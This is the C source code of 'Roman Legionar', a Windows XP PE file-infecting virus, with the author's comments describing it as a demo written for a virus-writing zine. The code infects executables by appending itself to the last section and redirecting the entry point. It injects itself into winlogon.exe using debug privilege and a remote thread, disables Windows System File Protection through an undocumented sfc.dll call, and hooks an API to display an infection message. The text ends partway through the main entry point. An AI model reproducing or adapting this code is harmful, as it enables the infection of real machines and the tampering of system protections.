|| Author: tanMa || Back to sources || View project folder ||
//-----------------------------------------------------------------------------
// WinXP.Roman Legionar 32-bit by tanMa                 (bad english documented)
//
// Welcome to the source code of Roman Legionar,  this is my first virii and it
// is a demo,  so don't blame me. It was written back in early 2003. and it was
// 95% done. But from some reason I didnt finish it, and didnt show it's source
// code and didnt make contribution to vx community! Now three years and a half
// beyond in 2006., something resounds in my mind. I decided to finish this  5%
// and make small step for the community but big one for my-self. This virii is
// designed as  contribution to  the 29a Zine and I have hope it will fit in...
// Virus it-self is  entirely  written  in C ( BCC32 ). It  can not  rival with
// viruses  written in ASM, but can serride  with others of HLL kind. As far as
// i know  Roman Legionar  is the first  HLL  virii which targets  Win32 PE not
// altering  host's import section and  depends not on  host's  export section. 
// Other stuffs this demo virii can do are usual... This is 32-bit version made
// for Win32 but can easly be ported to Win64...
// 
//  Virus properties:
//      Name: Roman Legionar
//  Coded in: C Language
//  Platform: WinXP 32-bit (tested on SP2)
//   Infects: .EXE PE32-bit (last section increase)
//   Crypted: YES (virus .code, through the reloc,no need decryptor!)
//   PayLoad: YES (not a destructive one)
// Spreading: NO (this is a demo :) )
//
// This demo virus does:
//
// 1st generation:
// Infect victim.exe in current directory
//
// 2nd generation:
// Insert it-self into winlogon.exe
// Disable SFP (run-time)
// Infect calc.exe in windows system directory
// Hook api (go to main menu and see about box...)
//
//
//                                                              coded by tanMa
//                                                                 Serbia 2006.
//                                                            demonyu@yahoo.com
//
//                                                     Documentation:Vx-tasy #1
//                                                     Zines 5...7. by 29a Labs
//-----------------------------------------------------------------------------
#include "RL32.h"
//-----------------------------------------------------------------------------
//
//
//-----------------------------------------------------------------------------
void *memset(void *dst, int val, size_t count)
{
	char *temp;

	for (temp = (char *)dst; count != 0; count--)
		*temp++ = val;
	return dst;
}
//-----------------------------------------------------------------------------
void *memcpy(void *dst_ptr, const void *src_ptr, size_t count)
{
void *ret_val = dst_ptr;
const char *Src = (const char *)src_ptr;
char *Dst = (char *)dst_ptr;

	for (; count != 0; count--)
		*Dst++ = *Src++;
return ret_val;
}
//-----------------------------------------------------------------------------
int memcmp(const void *memptr1, const void *memptr2, size_t count)
{
const unsigned char *mem1 = (const unsigned char *)memptr1;
const unsigned char *mem2 = (const unsigned char *)memptr2;

	for (; count != 0; count--)
	{
		if (*mem1 != *mem2)
			return *mem1 -  *mem2;
		mem1++;
		mem2++;
	}

return 0;
}
//-----------------------------------------------------------------------------
//
//
//-----------------------------------------------------------------------------
size_t strlen(const char *str)
{
size_t ret_val;

	for (ret_val = 0; *str != '\0'; str++)
		ret_val++;

return ret_val;
}
//-----------------------------------------------------------------------------
int strcmp(const char *str1, const char *str2)
{
	while ((*str2 != '\0') && (*str1 == *str2))
	{
		str1++;
		str2++;
	}

return *str1-*str2;
}
//-----------------------------------------------------------------------------
char *strcpy(char *dst, const char *src)
{
	char *ret_val = dst;

	while (*src != '\0')
		*dst++ = *src++;
	*dst = *src;
	return ret_val;
}
//-----------------------------------------------------------------------------
//
//
//-----------------------------------------------------------------------------
unsigned long UpdateCRC32( char val, unsigned long crc )
{
  return CRC32Table[(unsigned char)crc^val] ^ (crc>>8);
}
//-taken-from-GriYo-----------------------------------------------------------
unsigned long strcrc32( char *ptr, int size, unsigned long crc )
{
	while( size-- )  crc = UpdateCRC32( *ptr++, crc );
return crc;
}
//-----------------------------------------------------------------------------
// Return crc32 of string
//-----------------------------------------------------------------------------
unsigned long Str2CRC32(char *str)
{
	return strcrc32( str, strlen(str), 0);
}

//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
HMODULE GetKernel32Base(void)
{
	//find kernel32 address using PEB, little of inline asm
	//...inline asm is part of C Language :)
	asm
	{
	 mov	eax, fs:[30h]
	 mov	eax, [eax + 0ch]
	 mov	esi, [eax + 1ch]
	 lodsd
	 mov	ebx, [eax + 08h]
	}

return (HMODULE)_EBX;		//XP-SP2 Hard coded 2088763392
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
FARPROC GetProcAddressCRC32(HMODULE hModule,DWORD ApiNameCRC32)
{
IMAGE_DOS_HEADER *lpModuleMZ;
IMAGE_NT_HEADERS *lpModulePE;
IMAGE_EXPORT_DIRECTORY *lpModuleExp;
DWORD *AddressOfNames;
 WORD *AddressOfNameOrdinals;
DWORD *AddressOfFunctions;
char *Name;
FARPROC Address;		//adresa funkcije
DWORD index;

if (hModule!=NULL)
{
	lpModuleMZ=(IMAGE_DOS_HEADER *)hModule;
	lpModulePE=(IMAGE_NT_HEADERS *)((DWORD)lpModuleMZ+lpModuleMZ->e_lfanew);
	lpModuleExp=(IMAGE_EXPORT_DIRECTORY*) ((DWORD)lpModuleMZ+lpModulePE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	AddressOfNames=(DWORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfNames);
	AddressOfNameOrdinals=(WORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfNameOrdinals);
	AddressOfFunctions=(DWORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfFunctions);

	for (index=0;index<lpModuleExp->NumberOfNames;index++)
	{
		Name=(char*)((DWORD)lpModuleMZ+AddressOfNames[index]);
		if (Str2CRC32(Name)==ApiNameCRC32) 
		{	
			index=AddressOfNameOrdinals[index];	//new index
			Address=(FARPROC)((DWORD)lpModuleMZ+AddressOfFunctions[index]);
			return Address;
		}

	}
}

return NULL;
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
BOOL RetriveDLLApis(HMODULE hMod,DWORD ApiNamesCRC32[],LPDWORD Addresses,int numofapis)
{
int i;
	//walk through array of CRC32
	for (i=0;i<numofapis;i++)
	{
		//Get api address
		if (NULL==(Addresses[i]=(DWORD)GetProcAddressCRC32(hMod,ApiNamesCRC32[i])))
		{
			return FALSE;
                }
	}

return TRUE;
}

//-----------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
BOOL Open_File(OPENED_FILE_DATA *ofd,char *fName)
{
	ofd->fHandle=ofd->fMapHandle=ofd->lpBaseOfFile=NULL;

	//open file
        if (INVALID_HANDLE_VALUE==(ofd->fHandle=(HANDLE)aCreateFileA(fName,
                        GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        NULL))) {

                DBGERR("CreateFile FAILED!!!")
		return FALSE;
        }

        //save file size
        ofd->FileSizeOnOpen=aGetFileSize(ofd->fHandle,NULL);

return TRUE;
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
BOOL Map_File(OPENED_FILE_DATA *ofd,DWORD BytesToMap)
{
DWORD b2map;

	if (ofd->fHandle==NULL)
		return FALSE;

	if (BytesToMap==0)
		b2map=ofd->FileSizeOnOpen;
	else
		b2map=BytesToMap;
	

        if (NULL==(ofd->fMapHandle=(HANDLE)aCreateFileMappingA(ofd->fHandle,
                        NULL,
                        PAGE_READWRITE,
                        0,
                        b2map,
                        NULL))) {

                DBGERR("CreateFileMapping FAILED!")
		return FALSE;
	}

	if (NULL==(ofd->lpBaseOfFile=(LPVOID)aMapViewOfFile(ofd->fMapHandle,FILE_MAP_ALL_ACCESS,0,0,b2map))) {
                DBGERR("MapViewOfFile FAILED!")
		return FALSE;
	}

return TRUE;
}
//-----------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void UnMap_File(OPENED_FILE_DATA *ofd)
{
	if (ofd->lpBaseOfFile!=NULL) {
		aUnmapViewOfFile(ofd->lpBaseOfFile);
        	ofd->lpBaseOfFile=NULL;
	}

	if (ofd->fMapHandle!=NULL) {
		aCloseHandle(ofd->fMapHandle);
		ofd->fMapHandle=NULL;
	}

return;
}
//-----------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void Close_File(OPENED_FILE_DATA *ofd)
{
	if (ofd->fHandle!=NULL) {
		aCloseHandle(ofd->fHandle);
		ofd->fHandle=NULL;
	}
return;
}
//-----------------------------------------------------------------------------
// Set Debug privilege for current process
//------------------------------------------------------------------------------
BOOL SetDebugPrivilege(void)
{
HANDLE           hProcess;
HANDLE           hAccessToken;
LUID             luidPrivilegeLUID;
TOKEN_PRIVILEGES tpTokenPrivilege;

	hProcess = (HANDLE)aGetCurrentProcess();
	if (!hProcess)
	{ 
		DBGERR("GetCurrentProcess-FAILD!")
		return FALSE;
	}

	if (!aOpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hAccessToken))
	{
		DBGERR("OpenProcessToken-FAILD")
		return FALSE;
	}

	//Get LUID of SeSecurityPrivilege privilege
	if (!aLookupPrivilegeValueA(NULL,"SeDebugPrivilege",&luidPrivilegeLUID))
	{
		DBGERR("LookupPrivilegeValue - must be logged as Administrator")
		return FALSE;
	}

	// Enable the SeSecurityPrivilege privilege using the LUID just
	// obtained

	tpTokenPrivilege.PrivilegeCount = 1;
	tpTokenPrivilege.Privileges[0].Luid = luidPrivilegeLUID;
	tpTokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	aAdjustTokenPrivileges (hAccessToken,
                         FALSE,  // Do not disable all
                         &tpTokenPrivilege,
                         sizeof(TOKEN_PRIVILEGES),
                         NULL,   // Ignore previous info
                         NULL);  // Ignore previous info

	if ( aGetLastError() != NO_ERROR )
	{
		DBGERR("AdjustTokenPrivileges-FAILD!!!")
		return FALSE;
	}

return TRUE;
}

//----------------------------------------------------------------------------
// Open process (so we can write in address space of target process)
// for some processes (winlogon.exe etc.) debuger previlege needed...
//----------------------------------------------------------------------------
HANDLE OpenProcess_Module(char *lpMainModuleName)
{
DWORD bytesneeded;
DWORD ProcessIdList[0x80];		//up to 32 processes
DWORD ProcessesNum;
DWORD i;

HMODULE ModuleList;
char ModuleName[MAX_PATH];

        aEnumProcesses((DWORD*)ProcessIdList,0x80,&bytesneeded);
        ProcessesNum=bytesneeded/0x04;

	//walk through Processes
        for (i=0;i<ProcessesNum;i++)
        {
                HANDLE hOP=(HANDLE)aOpenProcess(0x43A,FALSE,ProcessIdList[i]);
                if (hOP!=NULL)
                {
                        //enumerate only first module in target process
                        aEnumProcessModules(hOP,&ModuleList,4,&bytesneeded);

			//get module name
                        aGetModuleBaseNameA(hOP,ModuleList,ModuleName,MAX_PATH);
			//is it module that we are looking for?
			if (0==strcmp(ModuleName,lpMainModuleName))
			{
				return hOP;
			}

                }
		aCloseHandle(hOP);
        }

return NULL;
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
BOOL ApplyReloc(HANDLE hProcess,LPVOID lpCodeToReloc,LPVOID lpRelocSection,long Dislocation)
{
IMAGE_BASE_RELOCATION *RelocBlock;
IMAGE_RELOCATION_DATA *PtrReloc,*PtrRelocTemp;

DWORD NumOfRelocs=0;	//number of relocations in one RELOC BLOCK inside of "viurs .reloc section"


DWORD offset;		//offset (in virus .code section) where to apply relocation
long value_at_offset;
long new_value;
DWORD i;
DWORD oldprotection;


        RelocBlock=(IMAGE_BASE_RELOCATION *)(lpRelocSection);

	//walk through all RELOC BLOKCs
	while (RelocBlock->VirtualAddress!=0)
	{

		//inside of RELOC BLOCK
		PtrReloc=  (IMAGE_RELOCATION_DATA *)((LPBYTE)RelocBlock+sizeof(IMAGE_BASE_RELOCATION));
		NumOfRelocs=(RelocBlock->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/sizeof(IMAGE_RELOCATION_DATA);
		PtrRelocTemp=PtrReloc;

		for (i=0;i<NumOfRelocs;i++)
        	{
	        	if (PtrRelocTemp->RelocType == IMAGE_REL_BASED_HIGHLOW)
	                {
	                        offset=(DWORD)((DWORD)lpCodeToReloc-dwVirusCodeRVA1Gen+RelocBlock->VirtualAddress+PtrRelocTemp->RelocOfs);

				//read value at "offset" and place into "value_at_offset"
				if (!aReadProcessMemory(hProcess,(LPVOID)offset,&value_at_offset,4,NULL))
				{
					DBGERR("aReadProcessMemory FAILED !!!")
					return FALSE;
				}

				//Calculate relocations
		                new_value=value_at_offset+Dislocation;
        
				//unprotect (set new protection READ&WRITE) memory at "offset"
				if (!aVirtualProtectEx(hProcess,(LPVOID)offset,4,PAGE_READWRITE,&oldprotection))
				{
					DBGERR("VirtualProcetEx FAILED!!! Could not unprotect (at 'offset')!!!")
					return FALSE;
			        }

				//write "new_value" at "offset" (relocate)
				if (!aWriteProcessMemory(hProcess,(LPVOID)offset,&new_value,4,NULL))
                	        {
					DBGERR("aWriteProcessMemory FAILED! Could not write 'new_value' at 'offset'!!!")
					return FALSE;
                	        }

				//protect (return protection as it was) memory at "offset"
				if (!aVirtualProtectEx(hProcess,(LPVOID)offset,4,oldprotection,&oldprotection))
				{
					DBGERR("VirtualProcetEx FAILED!!! Could not restore protection (at 'offset')!!!")
					return FALSE;
			        }

			}

	        PtrRelocTemp++; 
		} // next reloc inside of RELOC BLOCK

		RelocBlock=(IMAGE_BASE_RELOCATION *)((LPBYTE)RelocBlock+RelocBlock->SizeOfBlock);
	} // next RELOC BLOCK inside of "virus .reloc section"

return TRUE;
}
//------------------------------------------------------------------------------
// Insert virus into remote process
//------------------------------------------------------------------------------
HANDLE InsertVirusIntoProcess(char *lpProcessMainModuleName,DWORD EP,DWORD cflag)
{
HANDLE hTargetProcess;
LPVOID VirusAddrInTargetProcess;	//address of virus in target process
HANDLE hRemoteThread=NULL;
DWORD s;
LPVOID lpNewDataSection;		//address of virus .data section in target process

	//find process
	if (NULL==(hTargetProcess=OpenProcess_Module(lpProcessMainModuleName)))
	{
		DBGERR("OpenProcess_Module FAILED!")
		return NULL;
        }

        //Allocate memory in target process
	if(NULL==(VirusAddrInTargetProcess=(LPVOID)aVirtualAllocEx(hTargetProcess,NULL,VirusLen,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE)))
	{
        	DBGERR("VirtualAllocEx FAILED!!! Could not allocate memory in target process!")
		return NULL;
	}

	//Dump virus into target process...
	if (!aWriteProcessMemory(hTargetProcess,VirusAddrInTargetProcess,(LPVOID)(dwVirusCodeRVA+dwVirusImageBase),VirusLen,NULL))
	{
        	DBGERR("WriteProcessMemory FAILED!!! Could not dump virus into target process!")
		return NULL;
	}

	//Relocate virus (code) in target process
	ApplyReloc(hTargetProcess,VirusAddrInTargetProcess,
	(LPVOID)(dwVirusImageBase+dwVirusRelocRVA),
	(DWORD)VirusAddrInTargetProcess-(dwVirusImageBase+dwVirusCodeRVA));

	//virus .data section in target process
	lpNewDataSection=(LPVOID)((DWORD)VirusAddrInTargetProcess+dwVirusDataRVA1Gen-dwVirusCodeRVA1Gen);

	//set vars
	SetDWORDVarValue((DWORD)&dwVirusImageBase,(DWORD)VirusAddrInTargetProcess,lpNewDataSection,hTargetProcess);
	SetDWORDVarValue((DWORD)&dwVirusCodeRVA,0,lpNewDataSection,hTargetProcess);
	SetDWORDVarValue((DWORD)&dwVirusDataRVA,dwVirusDataRVA1Gen-dwVirusCodeRVA1Gen,lpNewDataSection,hTargetProcess);
	SetDWORDVarValue((DWORD)&dwVirusRelocRVA,dwVirusRelocRVA1Gen-dwVirusCodeRVA1Gen,lpNewDataSection,hTargetProcess);

	//Create Remote thread (in target process)...
	if (NULL==(hRemoteThread=(HANDLE)aCreateRemoteThread(hTargetProcess,0,0,(LPVOID)((DWORD)VirusAddrInTargetProcess+EP-dwVirusImageBase-dwVirusCodeRVA),0,cflag,0)))
	{
        	DBGERR("CreateRemoteThread - FAILED!!! Could not create remote thread in target process!")
		return NULL;
	}


	//close target process
	aCloseHandle(hTargetProcess);

return hRemoteThread;
}
//-----------------------------------------------------------------------------
//Hook API in current process
//To hook api in remote process,just inject there and call this function
//Can not hook api imported by ordinal!
//-----------------------------------------------------------------------------
BOOL HookAPI(HMODULE lpModuleBase,char *lpApiName,FARPROC NewAdr)
{
IMAGE_DOS_HEADER *lpDosHeader = NULL;
IMAGE_NT_HEADERS *lpPeHeader = NULL;
IMAGE_IMPORT_DESCRIPTOR *Imports=NULL;		//import section for "lpModuleBase"
DWORD *FunctionName;
DWORD *FunctionAddr;
char *pName;

int ImportedDLLs=0;
int i;

DWORD oldprotection;

        lpDosHeader=(IMAGE_DOS_HEADER *)(lpModuleBase);
        lpPeHeader=(IMAGE_NT_HEADERS *)((BYTE*)lpDosHeader+lpDosHeader->e_lfanew);
	Imports = (IMAGE_IMPORT_DESCRIPTOR *)((DWORD)lpModuleBase + lpPeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);


	//count imported .DLLs by module
	while (Imports->OriginalFirstThunk)
	{
		ImportedDLLs++;
		Imports++;
	}
	Imports = (IMAGE_IMPORT_DESCRIPTOR *)((DWORD)lpModuleBase + lpPeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

	//walk through all modules
	for (i=0; i<ImportedDLLs; i++)
	{
  	     	FunctionName = (DWORD *)(Imports->OriginalFirstThunk + (DWORD)lpDosHeader);
	        FunctionAddr = (DWORD *)(Imports->FirstThunk + (DWORD)lpDosHeader);

		//walk though function names till NULL
		while (*FunctionName)
		{
			//is it ordinal?
			if (*FunctionName & IMAGE_ORDINAL_FLAG)
			{
				return FALSE;
			}
			else
			{
				pName = (LPCTSTR)((DWORD)lpDosHeader + *FunctionName + 2/*Hint*/);

				//is it function,we are looking for?
				if (0==strcmp(pName,lpApiName))
				{

					//un-protect memory
					if (!aVirtualProtect((LPVOID)FunctionAddr,4,PAGE_READWRITE,&oldprotection))
					{
						DBGERR("VirtualProtect FAILED!!! Could not un-protect!")
						return FALSE;
			        	}

					//hook
					*FunctionAddr=NewAdr;

					//restore memory protection
					if (!aVirtualProtect((LPVOID)FunctionAddr,4,oldprotection,&oldprotection))
					{
						DBGERR("VirtualProtect FAILED! Could not restore protection!")
			        	}

					return TRUE;
				}


			}
		FunctionName++;
		FunctionAddr++;
		} //next func.


	Imports++;	//next imported module (.DLL)
	}

return FALSE;
}
//-------------------------------------------------------------------------------
// Infect PE32-bit Executable,method last section increase
// Does not check for PE32+ so it may corrupt them
// There are other stuffs like (Self-Extractors,CheckSum,Victim's date&time,re-infecting)
// but it's not a point of this demo virii...
//------------------------------------------------------------------------------
BOOL InfectFile(char *fName)
{
OPENED_FILE_DATA ofd;
IMAGE_DOS_HEADER *lpVictimDosHeader = NULL;
IMAGE_NT_HEADERS *lpVictimPeHeader = NULL;

IMAGE_SECTION_HEADER *lpVictimFirstSectionHdr = NULL;
IMAGE_SECTION_HEADER *lpVictimLastSectionHdr = NULL;
DWORD NewVictimFileSize;
DWORD VictimLastSectionSize;
LPVOID lpNewDataSection;
long t;

	//open victim
	if (!Open_File(&ofd,fName))
	{
		DBGERR("Open_File FAILED!!! Could not open victim!")
		return FALSE;
	}

	//map
	if (!Map_File(&ofd,0))
	{
		DBGERR("Map_File FAILED!!! Could not perform mapping!!!")
		Close_File(&ofd);
		return FALSE;
	}

	//victim's headers
        lpVictimDosHeader=(IMAGE_DOS_HEADER *)ofd.lpBaseOfFile;
        lpVictimPeHeader=(IMAGE_NT_HEADERS *)((BYTE*)lpVictimDosHeader+lpVictimDosHeader->e_lfanew);

        lpVictimFirstSectionHdr=(IMAGE_SECTION_HEADER *)((long)lpVictimPeHeader+sizeof(IMAGE_NT_HEADERS));
        lpVictimLastSectionHdr=lpVictimFirstSectionHdr+lpVictimPeHeader->FileHeader.NumberOfSections-1;

	//some checks
	if (lpVictimPeHeader->OptionalHeader.CheckSum!=0)
	{
		DBGERR("CheckVictim - CheckSum,but can continue...")
		//UnMap_File(&ofd);
		//Close_File(&ofd);
		//return FALSE;	
	}	


	//start of infection
	//increase size of victim so virus can be added...
        NewVictimFileSize=ofd.FileSizeOnOpen+VirusLen+0x1000;

	UnMap_File(&ofd);                       //un-map
	if (!Map_File(&ofd,NewVictimFileSize))	//map again with new size
	{
		DBGERR("Map_File FAILED!!! Remap of victim failed!")
		Close_File(&ofd);
		return FALSE;
	}

	//re-init pointers (headers) because of victim re-mapping 
        lpVictimDosHeader=(IMAGE_DOS_HEADER *)ofd.lpBaseOfFile;
        lpVictimPeHeader=(IMAGE_NT_HEADERS *)((BYTE*)lpVictimDosHeader+lpVictimDosHeader->e_lfanew);

        lpVictimFirstSectionHdr=(IMAGE_SECTION_HEADER *)((long)lpVictimPeHeader+sizeof(IMAGE_NT_HEADERS));
        lpVictimLastSectionHdr=lpVictimFirstSectionHdr+lpVictimPeHeader->FileHeader.NumberOfSections-1;

	//Change attributes of last section's header
	//set new flags
	lpVictimLastSectionHdr->Characteristics|=0x0A0000020; //code,writable&executable

	//VirtualSize
	VictimLastSectionSize=lpVictimLastSectionHdr->Misc.VirtualSize;
	lpVictimLastSectionHdr->Misc.VirtualSize+=VirusLen;

	//SizeOfRawData=VirtualSize aligned (file alignment)
        t=lpVictimLastSectionHdr->Misc.VirtualSize;
        t=t/lpVictimPeHeader->OptionalHeader.FileAlignment;
        t++;
        t=t*lpVictimPeHeader->OptionalHeader.FileAlignment;
        lpVictimLastSectionHdr->SizeOfRawData=t;


        //PE Header of victim-SizeOfImage
        lpVictimPeHeader->OptionalHeader.SizeOfImage=lpVictimLastSectionHdr->VirtualAddress+lpVictimLastSectionHdr->Misc.VirtualSize;

	//dump virus (code,data,reloc) at end of last section's body of victim
	memcpy((LPVOID)((DWORD)ofd.lpBaseOfFile+lpVictimLastSectionHdr->PointerToRawData+VictimLastSectionSize),
		(LPVOID)(dwVirusCodeRVA+dwVirusImageBase),VirusLen);

	//relocate virus (.code) (in victim)
	ApplyReloc((HANDLE) aGetCurrentProcess(),
	(LPVOID)((DWORD)ofd.lpBaseOfFile+lpVictimLastSectionHdr->PointerToRawData+VictimLastSectionSize),
	(LPVOID)((DWORD)ofd.lpBaseOfFile+lpVictimLastSectionHdr->PointerToRawData+VictimLastSectionSize+dwVirusRelocRVA-dwVirusCodeRVA),
	lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize-dwVirusCodeRVA+(lpVictimPeHeader->OptionalHeader.ImageBase-dwVirusImageBase));


	//In victim "virus .data section"
	lpNewDataSection=(LPVOID)((DWORD)ofd.lpBaseOfFile+lpVictimLastSectionHdr->PointerToRawData+VictimLastSectionSize+dwVirusDataRVA1Gen-dwVirusCodeRVA1Gen);

	//set vars in next generation
	SetDWORDVarValue((DWORD)&dwVirusImageBase,lpVictimPeHeader->OptionalHeader.ImageBase,lpNewDataSection,(HANDLE)aGetCurrentProcess());
	SetDWORDVarValue((DWORD)&dwVirusCodeRVA  ,lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize,lpNewDataSection,(HANDLE)aGetCurrentProcess());
	SetDWORDVarValue((DWORD)&dwVirusDataRVA  ,lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize+dwVirusDataRVA1Gen-dwVirusCodeRVA1Gen,lpNewDataSection,(HANDLE)aGetCurrentProcess());
	SetDWORDVarValue((DWORD)&dwVirusRelocRVA  ,lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize+dwVirusRelocRVA1Gen-dwVirusCodeRVA1Gen,lpNewDataSection,(HANDLE)aGetCurrentProcess());

	//Host Entry Point
	SetDWORDVarValue((DWORD)&HostEP,lpVictimPeHeader->OptionalHeader.ImageBase+lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint,lpNewDataSection,(HANDLE)aGetCurrentProcess());

	//Increase generation
	SetDWORDVarValue((DWORD)&dwGeneration,dwGeneration+1,lpNewDataSection,(HANDLE)aGetCurrentProcess());

	//and finally Entry-Point set to points at virii code section
	lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint=lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize;

	//close victim
	UnMap_File(&ofd); Close_File(&ofd);

return TRUE;
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void SetDWORDVarValue(DWORD VarAdr,DWORD NewVal,LPVOID lpNewDataSection,HANDLE hProcess)
{
	VarAdr=VarAdr-dwVirusImageBase-dwVirusDataRVA;  //RVA
	if (!aWriteProcessMemory(hProcess,(LPVOID)((DWORD)lpNewDataSection+VarAdr),&NewVal,4,NULL))
	{
        	DBGERR("WriteProcessMemory FAILED! Setting 'NewVal' at 'hProcess::VarAdr' FAILED!")
		return;
	}	

return;
}
//-----------------------------------------------------------------------------
// Initialize needed DLLs and their api addresses
//-----------------------------------------------------------------------------
BOOL InitDLLs(void)
{
	//Get KERNEL32.DLL address
	Kernel32Addr=GetKernel32Base();

	//Retrive Kernel32.dll's apis
	if (!RetriveDLLApis(Kernel32Addr,Kernel32ApisCRC32,(LPDWORD)&aBeep,Kernel32ApiNum))
	{
		return FALSE;
        }

	//little patch (i do not know why my getproc does not work for this one???)
	aGetLastError=(FARPROC) aGetProcAddress(Kernel32Addr,"GetLastError");

	//Load USER32.DLL
	if ((HMODULE)NULL == (User32Addr=aLoadLibraryA("user32.dll")) )
	{
		return FALSE;
	}
	
	//Retrive User32.dll's apis
	if (!RetriveDLLApis(User32Addr,User32ApisCRC32,(LPDWORD)&aMessageBoxA,User32ApiNum))
	{
		return FALSE;
        }
	//from now,we can use DBGERR macro (to display error box (virus interal
	//errors)

	//Load ADVAPI32.DLL
	if ((HMODULE)NULL == (AdvApi32Addr=aLoadLibraryA("advapi32.dll")) )
	{
		DBGERR("Could not load advapi32.dll!!!")
		return FALSE;
	}

	//Retrive AdvApi32.dll's apis
	if (!RetriveDLLApis(AdvApi32Addr,AdvApi32ApisCRC32,(LPDWORD)&aOpenProcessToken,AdvApi32ApiNum))
	{
		DBGERR("Could not obtain apis form advapi32.dll !!!")
		return FALSE;
	}


	//Load PSAPI.DLL
	if ((HMODULE)NULL==(PSAPIAddr=(HMODULE)aLoadLibraryA("PSAPI.DLL")))
	{
		DBGERR("Could not load PSAPI.DLL !!!")
		return FALSE;
	}

	//Retrive PSAPI.DLL's apis
	if (!RetriveDLLApis(PSAPIAddr,PSAPIApisCRC32,(LPDWORD)&aEnumProcesses,PSAPIApiNum))
	{
		DBGERR("Could not obtain apis form PSAPI.dll !!!")
		return FALSE;
        }	


return TRUE;
}
//-----------------------------------------------------------------------------
// Called in 1st generation only
//------------------------------------------------------------------------------
void Init1Gen(void)
{
IMAGE_DOS_HEADER *lpDosHeader = NULL;
IMAGE_NT_HEADERS *lpPeHeader = NULL;

IMAGE_SECTION_HEADER *lpCodeSectionHdr = NULL;
IMAGE_SECTION_HEADER *lpDataSectionHdr = NULL;
IMAGE_SECTION_HEADER *lpRelocSectionHdr = NULL;

        lpDosHeader=(IMAGE_DOS_HEADER *)(VirusImageBase1Gen);
        lpPeHeader=(IMAGE_NT_HEADERS *)((BYTE*)lpDosHeader+lpDosHeader->e_lfanew);

        lpCodeSectionHdr=(IMAGE_SECTION_HEADER *)((long)lpPeHeader+sizeof(IMAGE_NT_HEADERS));
	lpDataSectionHdr=lpCodeSectionHdr+1;
	lpRelocSectionHdr=lpCodeSectionHdr+2;

	dwVirusCodeRVA1Gen=lpCodeSectionHdr->VirtualAddress;
	dwVirusDataRVA1Gen=lpDataSectionHdr->VirtualAddress;
	dwVirusRelocRVA1Gen=lpRelocSectionHdr->VirtualAddress;

	dwVirusCodeSize=lpCodeSectionHdr->Misc.VirtualSize;
	dwVirusDataSize=lpDataSectionHdr->Misc.VirtualSize;
	dwVirusRelocSize=lpRelocSectionHdr->Misc.VirtualSize;

	dwVirusImageBase=VirusImageBase1Gen;
	dwVirusCodeRVA=dwVirusCodeRVA1Gen;
	dwVirusDataRVA=dwVirusDataRVA1Gen;
	dwVirusRelocRVA=dwVirusRelocRVA1Gen;

return;
}
//-----------------------------------------------------------------------------
#ifdef VDEBUG
 void  _my_dbg_error_msg(int nErrCode, char *sErrMsg,char *sFile, char* sFunc, int nLine)
 {
	char err[512];
	awsprintfA(err, "Error: %s\n Return code: %d\n Modul: %s\n Function: %s\n Line: %d", sErrMsg, nErrCode, sFile, sFunc, nLine);
	aMessageBoxA(NULL,err,"Error Message",MB_OK|MB_ICONERROR);
 return;
 }
#endif

//-----------------------------------------------------------------------------
// This is Virus Entry Point (for target process)
// "Inserter" pass control here
//-----------------------------------------------------------------------------
void Intruder(void)
{
//char sModuleName[15];
char sSystemDirPath[MAX_PATH];
char sPathToVictim[MAX_PATH];
char sMsg[256];

HMODULE sfcAddr;
FARPROC asfc_terminate;

	//Init kernel32.dll,user32.dll....
	if (!InitDLLs())
		return;

	//aGetModuleBaseNameA(aGetCurrentProcess(),aGetModuleHandleA(NULL),&ModuleName,15);
	//awsprintfA(sMsg,"Hello world from %s !!!",ModuleName);

	//SFP run-time disabling inspired by Rattar
	if (NULL== (sfcAddr=(HMODULE)aLoadLibraryA("sfc.dll")) )
	{
		DBGERR("aLoadLibraryA FAILED! Could not load sfc.dll!")
		return;
	}

	//Find by ordinal (undocumented function exproted by sfc.dll)
	asfc_terminate=aGetProcAddress(sfcAddr, (char *) 2);

	//till next Windows restart no SFP :)
	asfc_terminate();


	//composite path&name to calc.exe
	aGetSystemDirectoryA(sSystemDirPath,MAX_PATH);
	awsprintfA(sPathToVictim,"%s%s",sSystemDirPath,"\\calc.exe");

	//make it infected
	if (!InfectFile(sPathToVictim))
	{
		DBGERR("Infect File FAILED!!!")
	}


return;
}
//-----------------------------------------------------------------------------
int NewShellAboutW(HWND hWnd,LPCTSTR szApp,LPCTSTR szOtherStuff,HICON hIcon)
{
	aMessageBoxA(NULL,"You have been infected by Roman Legionar!\nPress OK to continue...","WinXP.Roman Legionar by tanMa",MB_OK);

return TRUE;
}
//-----------------------------------------------------------------------------
// Virus Entry Point
//-----------------------------------------------------------------------------
void main(void)
{
FARPROC b;
	//first, Generation?
	if (dwGeneration==1)
		Init1Gen();

